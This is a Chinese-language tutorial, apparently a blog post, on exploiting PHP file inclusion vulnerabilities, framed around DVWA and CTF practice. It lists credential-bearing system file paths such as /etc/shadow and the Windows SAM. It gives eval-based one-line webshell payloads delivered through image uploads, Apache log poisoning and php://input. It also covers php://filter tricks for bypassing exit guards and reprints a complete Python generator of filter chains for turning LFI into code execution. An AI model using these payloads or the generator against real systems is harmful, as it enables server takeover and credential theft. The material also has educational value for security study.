文件包含
文件包含漏洞
依赖于include()
,require()
,include_once()
,require_once()
这些函数的漏洞
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
# 几个函数的区别
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
只要文件中存在php
代码都会被解析出来
本地文件包含(LFI)
能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
测试网页包含如下代码:
$file=$_GET['filename'];
include($file);
网站利用文件包含功能读取一些php
文件,例如phpinfo
:
也可以包含木马
利用该代码,我们可以读取一些系统本地的敏感信息。
例如:C:\Windows\system.ini
文件。
(1)使用绝对路径
使用绝对路径直接读取:
(2)使用相对路径进行读取
通过./表示当前位置路径,../
表示上一级路径位置,在linux中同样适用。
例如当前页面所在路径为C:\Apache24\htdocs\
,我们需要使用…/退到C盘再进行访问,构造路径如下:../../windows/system.ini
由于我的环境搭建在D盘,所以这里就不做演示了。
(3)一些常见的敏感目录信息路径:
Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
三、LFI漏洞利用技巧
1.配合文件上传使用
有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。
以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:
<?php
fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>
找到上传点进行上传:
得到文件保存的完整路径
现在我们利用页面去执行我们上传的图片马
有能够读取文件的php页面,直接构造url读取,代码成功解析
注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。
2.包含Apache日志文件
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。
在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:
当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:
如果我们访问一个不存在的资源,也一样会进行记录,例如访问
127.0.0.1<?php phpinfo();?>
网页会显示403
但查看日志会发现被成功记录但被编码了
我们再次进行访问,并使用burp抓包,发现被编码:
我们将报文修改回去,再进行发送即可:
此时再查看access日志,正确写入php代码:
再通过本地文件包含漏洞访问,即可执行
我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。
3.包含SESSION文件
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
相关案例可以查看这道CTF题一道CTF题:PHP文件包含
4.包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
这个方法可以参考LFI With PHPInfo Assistance
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题: XMAN夏令营-2017-babyweb-writeup
远程文件包含(RFI)
必备知识:php伪协议
file://
协议
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen
与allow_url_include
的影响。include()/require()/include_once()/require_once()
参数可控的情况下,如导入为非.php
文件,则仍按照php语法进行解析,这是include()
函数所决定的。说明:
file://
文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如fopen()
和file_get_contents()
,include_path
会可选地搜索,也作为相对的路径。用法:
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext
示例:
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
协议
条件:
allow_url_fopen
:off/onallow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
作用:
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。说明:
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。协议 作用 php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的 data
部分,在enctype="multipart/form-data"
的时候php://input
是无效的。php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3
引用了文件描述符 3。php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory
总是把数据储存在内存中,而php://temp
会在内存量达到预定义的限制后(默认是2MB
)存入临时文件中。临时文件位置的决定和sys_get_temp_dir()
的方式一致。php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式 (all-in-one)
的文件函数非常有用,类似readfile()
、file()
和file_get_contents()
,在数据流内容读取之前没有机会应用其他过滤器。php://filter
参数详解该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 描述 resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。 read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 <; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 可用的过滤器列表(4类)
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
字符串过滤器 作用 string.rot13 等同于 str_rot13()
,rot13变换string.toupper 等同于 strtoupper()
,转大写字母string.tolower 等同于 strtolower()
,转小写字母string.strip_tags 等同于 strip_tags()
,去除html、PHP语言标签转换过滤器 作用 convert.base64-encode & convert.base64-decode 等同于 base64_encode()
和base64_decode()
,base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法 示例:
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input + [POST DATA]
执行php代码http://127.0.0.1/include.php?file=php://input [POST DATA部分] phpinfo();
若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input [POST DATA部分] fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>');
zip:// & bzip2:// & zlib://
协议
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
作用:
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等。示例:
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
(#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://
协议
条件:
allow_url_fopen
:onallow_url_include
:on
作用:自
PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法:
data://text/plain, data://text/plain;base64,
示例:
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http:// & https://
协议
条件:
allow_url_fopen
:onallow_url_include
:on
作用:常规 URL 形式,允许通过
HTTP 1.0
的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。用法:
http://example.com http://example.com/file.php?var1=val1&var2=val2 http://user:password@example.com https://example.com https://example.com/file.php?var1=val1&var2=val2 https://user:password@example.com
示例:
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
phar://
协议
phar://
协议与zip://
类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。
因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。
WAF
filter链绕过
构造一串字符利用过滤器的性质构造(在已知文件前构造命令执行)或破坏字符(exit)
base64特质
在base64_decode中会将不在A-Za-z0-9+/=的字符全都去掉,于是可以通过这个来绕过exit
乍一眼,你这不对啊。。。。这是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化,解码的时候有效字符一定要是4的倍数,不然就会解码错误,原因就是未补足的字符本质上是用=补足的
而在解码时=后还有字符明显是错误的,所以就会注入失败
rot13 编码绕过
原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;
只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?
并没有分解掉,这时,如果服务器开启了短标签(short_open_tag),那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;
.htaccess
的预包含利用
利用 .htaccess
的预包含文件的功能来进行攻破;自定义包含我们的flag文件。
$filename=php://filter/write=string.strip_tags/resource=.htaccess
$content=?>php_value%20auto_prepend_file%20G:\s1mple.php
同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags
过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:
但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php
等等;另外还有个很大的问题是,string.strip_tags
过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器;
蓄意乱序
介绍UCS-2LE和UCS-2BE两种过滤器的组合以及UCS-4LE和UCS-2BE两种过滤器的组合
其中2xE都是进行两位一反转,4xE进行四位一反转,目的其实就是破坏前面死亡exit的顺序来达到让php无法识别的效果
过滤器编码组合拳
过滤器组合拳,其实故名思意,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码;
先来一种:
$filename='php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php'
$content='?>PD9waHAgcGhwaW5mbygpOz8+'
可以看到,利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,成功写入shell;
但是这种方法有一定的局限性也还是因为string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响;
再来另外一种
如果题目的环境是php7的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell;
$filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php
$content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=s1mple.php
如此便可以写入;其原理也很简单,就是利用过滤器嵌套让死亡代码在各种变换之间进行分解扰乱,然后再次写入木马;
这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础;
无中生有之inconv
呃呃,又长又臭的脚本环节,只讲一下原理吧,脚本还是要等我的XSS三兄弟学完才会回头补完一下。。
主包讲的不好也可以参考p神的博客真正的from LFI to RCE——CVE-2024-2961 | Err0r233
从上面已经知道我们可以利用base64解码的特质和strip_tags来删除掉一些过滤
那有的人会说了,主包主包你的混淆确实很强,但是如何他的注入点干净的不得了呢
$a=$_GET['filename'];
include($a);
这个时候就需要自行构造一些危险代码,同时利用base64将其先编码防止诸如<?;>
这些字符在解码时被过滤掉
所以要介绍一些神奇的过滤器:
- CSISO2022KR
将字符集从我们常用的UTF-8
转换为CSISO2022KR
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,aaaaaaaaaaaaaa
转换结果:
string(24) "%1B%24%29Caaaaaaaaaaaaaa"
其实是 string(18) "不可见字符$)Caaaaaaaaaaaaaa"
此时可以看到成功构造了一个字符C
达到了无中生有的效果了
而通过几次巧妙的构造,就可以出整张base64表,这里直接贴p神搓好的脚本
#!/usr/bin/env python3
import argparse
import base64
import re
# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
# No need to guess a valid filename anymore
file_to_use = "php://temp"
conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}
def generate_filter_chain(chain, debug_base64 = False):
encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload
def main():
# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")
parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)
if __name__ == "__main__":
main()
链接:https://err0r233.github.io/posts/28510.html
UTF-8 ->UTF-7
测试代码
$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');
/**
Qftm.txt 写入的内容为: +AD0-
**/
这里直接给某个师傅博客的截图,这是原链接探索php://filter在实战当中的奇技淫巧-安全KER - 安全资讯平台,懒得打了(瘫)